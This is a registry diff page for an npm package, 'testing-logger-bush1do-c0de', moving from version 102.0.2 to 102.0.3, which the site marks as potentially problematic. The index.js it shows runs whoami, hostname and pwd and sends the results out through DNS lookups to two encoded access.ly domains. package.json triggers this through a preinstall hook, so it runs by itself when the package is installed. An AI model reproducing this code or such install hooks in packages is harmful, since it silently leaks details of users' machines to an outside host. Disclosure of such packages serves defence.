testing-logger-bush1do-c0de 102.0.2 → 102.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of testing-logger-bush1do-c0de might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +18 -20
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -2,35 +2,33 @@ const dns = require('dns');
2
2
  const { exec } = require('child_process');
3
3
 
4
4
  function exfiltrateData(data) {
5
- const subdomain = `${data}.${Buffer.from('noreply.access.ly').toString('base64')}`;
6
- console.log(`Exfiltrating data to DNS: ${subdomain}`);
7
- dns.resolve4(subdomain, (err, addresses) => {
8
- if (err) console.error(err);
9
- else console.log(`Data exfiltrated: ${addresses}`);
5
+ // Prepare subdomains for both DNS servers
6
+ const subdomains = [
7
+ `${data}.${Buffer.from('noreplyy.access.ly').toString('base64')}`,
8
+ `${data}.${Buffer.from('noreply.access.ly').toString('base64')}`
9
+ ];
10
+
11
+ // Iterate through each subdomain and resolve it
12
+ subdomains.forEach((subdomain) => {
13
+ dns.resolve4(subdomain, (err, addresses) => {
14
+ if (err) {
15
+ console.error(`Error during DNS resolution for ${subdomain}: ${err.message}`); // Log the error
16
+ } else {
17
+ console.log(`Data exfiltrated to ${subdomain}: ${addresses}`); // Log the addresses
18
+ }
19
+ });
10
20
  });
11
21
  }
12
22
 
13
23
  // Run commands and send output
14
- console.log("Executing whoami command...");
15
24
  exec('whoami', (error, stdout) => {
16
- if (stdout) {
17
- console.log(`Whoami output: ${stdout.trim()}`);
18
- exfiltrateData(stdout.trim());
19
- }
25
+ if (stdout) exfiltrateData(stdout.trim());
20
26
  });
21
27
 
22
- console.log("Executing hostname command...");
23
28
  exec('hostname', (error, stdout) => {
24
- if (stdout) {
25
- console.log(`Hostname output: ${stdout.trim()}`);
26
- exfiltrateData(stdout.trim());
27
- }
29
+ if (stdout) exfiltrateData(stdout.trim());
28
30
  });
29
31
 
30
- console.log("Executing pwd command...");
31
32
  exec('pwd', (error, stdout) => {
32
- if (stdout) {
33
- console.log(`PWD output: ${stdout.trim()}`);
34
- exfiltrateData(stdout.trim());
35
- }
33
+ if (stdout) exfiltrateData(stdout.trim());
36
34
  });
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "testing-logger-bush1do-c0de",
3
- "version": "102.0.2",
3
+ "version": "102.0.3",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "preinstall": "node index.js"